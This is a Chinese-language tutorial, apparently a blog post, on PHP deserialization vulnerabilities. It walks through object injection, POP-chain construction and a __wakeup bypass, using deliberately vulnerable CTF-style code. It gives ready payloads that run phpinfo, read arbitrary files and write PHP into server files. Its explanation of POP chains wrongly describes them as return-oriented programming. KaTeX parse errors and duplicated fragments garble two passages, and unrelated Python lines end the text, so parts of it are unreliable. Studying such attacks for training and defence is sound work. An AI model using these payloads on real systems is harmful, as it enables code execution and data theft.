图片使用GitHub外链,建议开启代理后阅读
php反序列化漏洞
序列化和反序列化
序列化(serialize) : 将变量转换为可保存和传输字符串的过程
反序列化(unserialize) : 在适当的时候把这个字符串转化为原来的变量使用
常见的序列化和反序列化方式有:serialize, unserialize, json_encode, json_decode
首先我们通过php对json常用的两个操作函数来理解为什么需要序列化
首先是使用json_encode将数组转化为json格式,这里使用了php官方手册为例子
<?php
$arr = array("a"=>1,"b"=>2,"c"=>3,"d"=>4,"e"=>5);
var_dump($arr);
echo json_encode($arr);
?>
定义了数组之后,使用json_encode函数对数据进行json格式化
这里使用了var_dump输出了数组,便于我们看到php中,数组是如何存储的
结果如下
![image-20231024180508409](https://i-blog.csdnimg.cn/blog_migrate/898a01b47a7beee073f80e59f7be0144.png)
可以看到,通过var_dump直接输出的数组的格式要传输的话其实是非常麻烦的,而通过json_encode 格式化后的字符串传输起来就要方便的多
当把json格式的字符串传递给后台之后,后台需要对数组格式的数据做出解析,这是就需要使用json_decode对json字符串进行解析,将其解析为数组格式,便于处理信息
代码如下
<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>
当json_decode中的第二个参数为true时,会返回一个关联数组,默认返回一个对象
返回一个对象
返回关联数组
那么序列化也是同样的道理,php中,常用的序列化方法就是serialize( ),unserialize() 。
类似与处理json的两个方法,序列化将对象序列化为字符串,便于传输
序列化
<?
class team{
public $name = 'joker';
private $team_name = 'hahaha';
protected $team_group = 'biubiu';
function hahaha(){
$this->$team_members = 'oligei';
}
}
$obj = new team();
echo serialize($obj);
?>
反序列化
<?php
$ser = 'O:6:"object":2:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
$ser = unserialize($ser);
var_dump($ser);
?>
序列化的结果解析
<?php
$ser = 'O:6:"object":2:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
$ser = unserialize($ser);
var_dump($ser);
?>
其中o代表对象,6使对象object的长度,3表示有三个类的属性,后面{} 是类属性的内容,s表示类属性team的类型,4表示类属性team的长度,后面一次类推。
但是,类方法不会参与到序列化中
同时,变量受到不同修饰符==(public,private,protected)== 进行序列化,序列化后变量的长度和名称也会发生变化
- 使用public修饰进行序列化后,变量==$team==的长度为4,正常输出。
- 使用private修饰进行序列化后,会在变量==$team_name==前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
- 使用protected修饰进行序列化后,会在变量==$team_group==前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
同时受保护的变量在序列化时也有不同的规则
\1. 受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
\2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,“\x00"代表ASCII为0的值,即空字节,” * " 必不可少。
序列化格式中的字母含义
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
漏洞产生的原理
魔术方法命名是以符号开头的,比如 __construct
,__ destruct
,__toString
,__ sleep
,__ wakeup
等等。这些函数在某些情况下会自动调用。
- __construct():具有构造函数的类会在每次创建新对象时先调用此方法。
- __destruct():析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
- __toString()方法用于一个类被当成字符串时应怎样回应。例如echo $obj;应该显示些什么。 此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
- __sleep()方法在一个对象被序列化之前调用;
- __wakeup():unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup方法,预先准备对象需要的资源。
- **get(),**set() 当调用或设置一个类及其父类方法中未定义的属性时
- __invoke() 调用函数的方式调用一个对象时的回应方法
- call 和 callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
其中__toString()
方法在一些特殊场景下可以被调用
(1) echo($obj) / print($obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候
同时反序列化还要依托于域,脱离了域的反序列的类是无法调用序列化之前的类方法的
通过一个简单的例子来说明这个问题
示例代码如下
<?php
class example{
public $color = "black";
public function __wakeup(){
echo "use the wakeup method()\n";
$this->color = "white";
}
public function printColor(){
echo $this->color . PHP_EOL;
}
}
$test = new example();
$data = serialize($test);
echo $data . PHP_EOL;
// $new_data = unserialize($data);
// $new_data->printColor();
?>
直接输出得到的序列化之后的字符串内容如下
O:7:"example":1:{s:5:"color";s:5:"black";}
然后将这个字符串反序列化,并调用其printColor方法
$serstr = "O:7:\"example\":1:{s:5:\"color\";s:5:\"black\";} ";
$obj = unserialize($serstr);
$obj->printColor();
输出的结果如下
可以看到,我将这个字符串反序列化后,调用了wakeup方法,然后手动调用了printColor方法
但是如果将这段代码放在一个单独,不包含定义类的代码的文件中执行时,就会出现如下错误
根据错误信息,其提示了没有加载类example, 所以不能调用其中的printColor方法
在新的文件中执行这段代码,域就不同了,并且在序列化时,并不会序列化类中的方法,从而导致了这个问题
反序列化–对象注入
反序列化的过程中,就是根据格式字符串复原一个对象,如果让攻击者操纵任意大的反序列数据,那么攻击者就可以实现对象类的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
- 代码中有可利用的,并且类中有
__wakeup()
,__sleep()
,__destruct()
这类特殊条件下可以自己调用的魔术方法 - unserialize()函数的参数可控
对象注入示例1
<?php
// todo php反序列化 - 对象注入 - 示例1
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test) + 1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}";
$test_unser = unserialize($p);
?>
在这段语句中,参数test是可控的,且在反序列化过程中,会调用__destruct()
方法,同时也会调用__wakeup()
方法
要执行__destruct()
中的方法,就需要在反序列化时将变量test覆盖
向test变量写入phpinfo(), 执行后就会显示phpinfo()页面
其中,对传入参数的长度在原来strlen函数计算的基础上,有加了1,这是为了确保字符串的长度与实际长度的一致
在PHP中,字符串的长度是通过计算字符串中的字符数来确定的。而在这段代码中,字符串$test的长度是通过strlen函数计算得到的,并且在构造反序列化字符串时,需要将该长度作为一个参数传递给序列化函数。
由于序列化函数会在字符串的开头添加一些额外的信息,包括对象类型和属性的描述信息等,所以为了确保序列化后的字符串能够包含完整的test内容,需要将test内容,需要将strlen(test)的结果加1。
这样做的目的是为了保证序列化后的字符串中包含了完整的$test内容,从而在反序列化时能够正确地还原对象。如果不加1,可能会导致反序列化失败或者无法正确还原对象的属性值。
其中,序列化后的字符串可以找出源代码中的类,然后使用serialize()方法生成
<?php
class A{
var $test = "phpinfo()";
function __destruct(){
@eval($this->test);
}
}
$obj = new A();
echo serialize($obj);
?>
对象注入示例2
来自bugku的一道题
index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{
echo "hello friend!<br>";
if(preg_match("/flag/",$file))
{
echo "不能现在就给你flag哦";
exit();
}
else
{
include($file);
$password = unserialize($password);
echo $password;
}
}
else
{
echo "you are not the number of bugku ! ";
}
?>
hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
在__toString()
方法中,使用了file_get_content()
读取文件内容。当对象被当作字符串输出时,就会调用toString方法
再看index.php,不能直接在url中传入参数flag.php,会被正则过滤
然后使用Include包含文件,并且反序列化password,并且没有对passwd的输入做过滤,所以passwd的输入是可控的
并且echo $passwd会调用toString()方法,这就满足了反序列化的条件
下面开始构造payload
将Flag类趴下来,其中file修改为要读取的文件flag.txt
然后将其序列化为字符串
得到的内容如下
O:4:"Flag":1:{s:4:"file";s:8:"flag.txt";}
将这个字符串传递给参数passwd
但是要调用其toString方法,需要在同一个域下,所以在include('$file')
中$file的值需要为hint.php
但是执行这些操作的条件前提是满足下面这个if 语句
实际上是不存在这个文件的。要么就新建一个文件进去(这种只能在本地环境实现)
要满足这个条件,就需要使用到php伪协议了。这里使用的是php://input
伪协议来读取数据包中的输入流,从而达到读取任意文件的效果
考虑到上述所有条件后,最终构造出的payload如下
![image-20231026150141939](https://i-blog.csdnimg.cn/blog_migrate/0ef54a07b1e979909a613881d7a85b45.png)
查看返回包就可以看到flag
对象注入示例3
源代码如下
<?php
class test{
var $test = '123';
function __wakeup(){
$fp = fopen("flag.php","w");
fwrite($fp,$this->test);
fclose($fp);
}
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>
在类中,__wakeup()
方法的目的是将类变量test写入文件test.php中
其中参数a会被反序列化并没有做过滤
在反序列化时会调用wakeup方法
下面就可以开始构造payload
将class类趴下来,修改test为<?phpinfo()?>
,写入phpinfo探针,序列化输出即可
O:4:"test":1:{s:4:"test";s:13:"<?phpinfo()?>";}
对id参数传入payload即可
POP链构造
pop链简介
Pop链(POP chain)是一种利用程序中已有的函数调用序列来构造恶意代码执行的技术。POP是指"Return-oriented Programming",即返回导向编程
在计算机程序中,函数调用通常会将返回地址(Return Address)保存在栈上,以便在函数执行完毕后能够返回到调用者的正确位置。恶意攻击者可以通过修改栈上的返回地址,使程序执行到攻击者预先构造的恶意代码上。
Pop链的构造过程通常包括以下几个步骤:
- 寻找程序中已有的可用函数调用序列,这些序列通常由一系列指令组成,每个指令执行完后会跳转到下一个指令。
- 将这些指令的地址按照一定的顺序连接起来,形成一个连续的指令序列。
- 修改栈上的返回地址,使其指向这个恶意构造的指令序列。
- 当程序执行到被篡改的返回地址时,会开始执行恶意指令序列,从而实现攻击者的目的,如执行任意代码、获取敏感信息等。
Pop链的优势在于不需要引入新的代码或者注入恶意代码,而是利用程序自身已有的合法指令序列来实现攻击。这使得检测和防御变得更加困难,因为攻击者不需要利用已知的漏洞或者特定的代码结构,而是通过组合已有的指令来达到攻击目的。
然而,Pop链攻击也面临一些挑战,例如需要找到合适的函数调用序列、保证指令序列的正确性和连续性等。同时,现代操作系统和编译器也在不断加强对于Pop链攻击的防御措施,如数据执行保护(DEP)和地址空间布局随机化(ASLR)等。
pop链构造的重点在找出可用的函数调用序列
示例1
<?php
class main{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "use the class normal";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['a']);
?>
这段代码中,构造了三个类,main, normal , evil
其中危险方法eval存在于类evil中的自定义方法action中
那么要执行evil中的危险方法action,就在在normal类中创建evil对象,然后evil中的data写入要执行的命令
则构造payload使用的main类和evil类如下
<?php
class main{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $data="phpinfo();";
}
$obj = new main();
$ser = serialize($obj);
var_dump($ser);
echo urlencode($ser);
输出如下
通过var_dump的输出,可以看到,序列化时,对protected和private修饰的变量,添加了\00
所以在注入时,需要对payload进行Url编码
完整的payload如下
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
执行后就出现了phpinfo探针页
![image-20231026163645391](https://i-blog.csdnimg.cn/blog_migrate/0e7399ada02c72c139a397775d3b1f56.png)
示例2
代码如下
<?php
class MyFile{
public $name;
public $user;
public function __construct($name, $user){
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name,"flag")!==False){
$this->name = "etc/hostname";
}else{
$this->name = "etc/passwd";
}
if(isset($_GET['user'])){
$this->user = $_GET['user'];
}
}
public function __destruct(){
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input,'user')!==false){
die('hacker');
}else{
unserialize($input);
}
}else{
highlight_file(__FILE__);
}
首先定位魔术方法和漏洞触发点
在代码中__toString()方法调用了file_get_content()方法来读取变量name的数据
当程序执行结束或者变量销毁时,就会自动调用析构函数__destruct(),并使用echo 输出变量,这时就会触发__toString()
方法
所以关键在于需要控制变量name,且name的值不能包含字符串flag,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控变量只有user,并且传入的字符串还不能包含"user"字符串
所以在这段代码中,漏洞触发点在name,而输入点在input,可控的变量为user
对于这两个问题,解决方法如下:
- $input前端传入进来的参数不允许包含user字段,但是可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过
- n a m e 字段不可控,但是 name字段不可控,但是 name字段不可控,但是user字段可控,可以使用浅copy来实现赋值
基于这两种解决方法,可以构造出如下payload
class MyFile{
public $name = "/etc/hosts";
public $user = "";
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user","use\\72", $b);
$b = str_replace("s","S", $b);
var_dump($b);
输出的序列化后的字符串如下,将user中大写的S转换为小写的s
"O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"uSe\72";R:2;}"
---》
"O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}"
观察这个payload,user后面的属性为R,表明了其是一个引用对象。这里name和user的值都为空,当传入user的参数为flag.txt时,由于在__wakeup()方法中,先检测name中的值并进行处理,然后再将从url中获取到的user字段的值赋值给类中的$user
且我们对 u s e r 和 user和 user和name做了一个浅拷贝,就导致过滤其实是无效的,从而可以读取到flag.txt
最终payload写入url的情况如下
http://localhost/phpUnserialize/popchain/popchain2.php?input=O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}&user=flag.txt
示例3
代码如下
<?php
class start_gg{
public $mod1;
public $mod2;
public function __destruct(){
$this->mod1->test1();
}
}
class call{
public $mod1;
public $mod2;
public function test1(){
$this->mod1->test2();
}
}
class funct{
public $mod1;
public $mod2;
public function __call($test2,$arr){
$s1 = $this->mod1;
$s1();
}
}
class func{
public $mod1;
public $mod2;
public function __invoke() {
$this->mod2= "字符串拼接".$this->mod1;
}
}
class string1{
public $str1;
public $str2;
public function __toString(){
$this->str1->get_flag();
return '1';
}
}
class getFlag{
public function get_flag(){
echo "flag{this-is-a-flag}";
}
}
$a = $_GET['string'];
unserialize($a);
先定位魔术方法和漏洞触发点
最终的目的是需要调用getflag类中的get_flag方法
- 类string1 中的__toString方法调用了getFlag::get_flag()方法,即构造
$this->str1 = new getFlag()
![image-20231027094744424](https://i-blog.csdnimg.cn/blog_migrate/a254fb44face712492b7ac5288886f50.png)
$this->str1 = new getFlag()
-
func类中的invoke()方法使用了字符串拼接,将$this->mod1赋值为string1的一个对象就可以调用其
__toString
方法。 将func类的实例当作一个方法来调用时,就会自动调用魔术方法__invoke()
$this->mod1 = new string1()
![image-20231027094935089](https://i-blog.csdnimg.cn/blog_migrate/4bb418a8c7c49ff3abb9a85a65daf40c.png)
$this->mod1 = new string1()
- funct类中的魔术方法
__call()
使用了函数的命名空间来调用, m o d 1 为 f u n c 类的实例时 ‘ mod1为func类的实例时 ` mod1为func类的实例时‘this->mod1 = new func(),调用funct不存在的方法
test2()时,就会自动调用
__call()方法,从而将func实例当作方法调用,从而调用
fun::__invoke()`方法
![image-20231027095447891](https://i-blog.csdnimg.cn/blog_migrate/ca9e8ed6ee09d37f62069989a7e23624.png)
$this->mod1 = new func()
- call类中,将KaTeX parse error: Expected group after '_' at position 44: …方法,从而调用`funct::_̲_call()`方法 即`this->mod1 = new funct()`
![image-20231027095853110](https://i-blog.csdnimg.cn/blog_migrate/7d76f61a5b4ee77af9136c6fa805de0d.png)
$this->mod1 = new funct()
-
test1方法的调用点在start_gg中,将start_gg中的$mod1赋值为call类的对象,等待
__destruct
的自动调用$this->mod1 = new call()
$this->mod1 = new call()
那么就可以构造出如下payload, 使用__construct()
方法进行对象的赋值
<?php
class start_gg{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Call();
}
public function __destruct(){
$this->mod1->test1();
}
}
class Call{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new funct();
}
public function test1(){
$this->mod1->test2();
}
}
class funct{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new func();
}
public function __call($test2,$arr){
$s1 = $this->mod1;
$s1();
}
}
class func{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new string1();
}
public function __invoke() {
$this->mod2= "字符串拼接".$this->mod1;
}
}
class string1{
public $str1;
public $str2;
public function __construct(){
$this->str1 = new getFlag();
}
public function __toString(){
$this->str1->get_flag();
return '1';
}
}
class getFlag{
public function get_flag(){
echo "flag{this-is-a-flag}";
}
}
$obj = new start_gg();
$ser_obj = serialize($obj);
var_dump($ser_obj);
var_dump(urlencode($ser_obj));
需要注意的是,不能再初始化变量时直接赋值对象,这是无效操作,例如
class start_gg{
public $mod1 = new Call(); // 不能这样实例化对象
public $mod2;
public function __destruct(){
$this->mod1->test1();
}
}
(1)属性声明是由关键字public,protected或者private开头,然后跟一个普通的变量声明来组成。属性中华的变量可以初始化,但是初始化的值必须是 常量,这里的常量是指PHP脚本在编译阶段时就可以得到其值而不依赖运行时的信息才能求值;
(2)类(对象)的属性是不能用非常量来初始化的!非常量是指变量,或函数返回值等。
示例4
代码如下
<?php
class Modifier{
protected $var;
public function append($value){
include ($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)){
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}else{
$a = new Show();
highlight_file(__FILE__);
}
通读代码,漏洞点位于modifier类下的append()方法中,存在文件包含漏洞,可以执行包含的文件代码
![image-20231027163243909](https://i-blog.csdnimg.cn/blog_migrate/631eb9f4ca9cabe08352027a566b6141.png)
要让这个方法执行,需要构造一个pop链
append()方法再modifier类中的__invoke()
方法调用,触发__invoke()
,需要将modifier当作函数来调用
在test类中的魔术方法__get()
中可以return
一个p()
![image-20231027163645641](https://i-blog.csdnimg.cn/blog_migrate/a76793fbca043bf33475549aa30e4302.png)
所以要把p赋值为modifier类的对象
$this->p = new Modifier()
但是test类中的魔术方法__get()
是在访问类中不存在的属性时调用,在show类中, __toString()
方法访问了str->source
,如果str是test类的对象,就可以触发__get()
方法
$this->str = new Test()
show类中魔术方法__toString()
在对象被视作字符串时调用。而show类中的__construct()
方法使用了echo输出字符粗,将$this->source
指向对象,就可以调用__toString()
方法
$a = new Show();
$this->source = $a;
那么可以构造出如下payload
<?php
class Modifier{
protected $var='payload.php';
}
class Show{
public $source;
public $str;
public function __construct($file='popchain4.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show();
$a->source = $a;
$a->str = new Test();
var_dump(serialize($a));
var_dump(urlencode(serialize($a)));
在Show类中的__construct()
方法中实例化Test()对象也是可行的
![image-20231027165531933](https://i-blog.csdnimg.cn/blog_migrate/89425dc26aca54505e799fd3cc098e3a.png)
注入payload后,效果如下
![image-20231027165555596](https://i-blog.csdnimg.cn/blog_migrate/15a08fd89aa9da74388bd354fd1e2a7a.png)
pop链利用技巧
-
pop链中出现的可利用的方法
- 命令执行:exec()、passthru()、popen()、system() - 文件操作:file_put_contents()、file_get_contents()、unlink() - 代码执行:eval()、assert()、call_user_func()
-
反序列化中为了避免信息丢失,使用大写S支持字符串的编码
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中 用 大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
- 深浅拷贝
在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B;
- php 伪协议利用
配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
wakeup绕过方法
前面介绍了php类中存在wakeup方法,在反序列化时,会优先执行wakeup方法,然后在执行destruct方法, 有时漏洞点位于destruct 方法中,并且wakeup方法执行后会导致攻击的payload失效,这是就需要先绕过wakeup方法,直接执行destruct 方法
下面这段代码有助与我们理解wakeup方法执行的顺序
<?php
class example{
public $color = "black";
public function __wakeup(){
echo "use the wakeup method()\n";
$this->color = "white";
}
public function printColor(){
echo $this->color . PHP_EOL;
}
}
$test = new example();
$data = serialize($test);
echo "-----\n";
$new_data = unserialize($data);
$new_data->printColor();
?>
这段代码最终的输出结果如下
可以发现,在反序列化时,首先调用了wakeup方法,将变量color的修改为 white,然后执行了printColor方法
wakeup()方法的绕过参考CVE-2016-7124
接下来看一段示例代码
<?php
// ! cross the wakeup method
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup";
}
function __destruct(){
$fp = fopen("C://phpstudy_pro\\www\\unserialize\\shell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$test = $_GET['test'];
$test_unserialize = unserialize($test);
echo 'shell.php';
include('.\shell.php');
在这段代码中,正常的执行逻辑是
unserialize( )会检查是否存在一个_wakeup( )方法。本例中存在,则会先调用_wakeup()方法,预先将对象中的target属性赋值为"wakeup!“。注意,不管用户传入的序列化字符串中的target属性为何值,wakeup()都会把$target的值重置为"wakeup!"。最后程序运行结束,对象被销毁,调用destruct()方法,将target变量的值写入文件shell.php中。这样shell.php文件中的内容就是字符串"wakeup”。
user = '123'
passwd = '123'
print(f"the user is {user} an")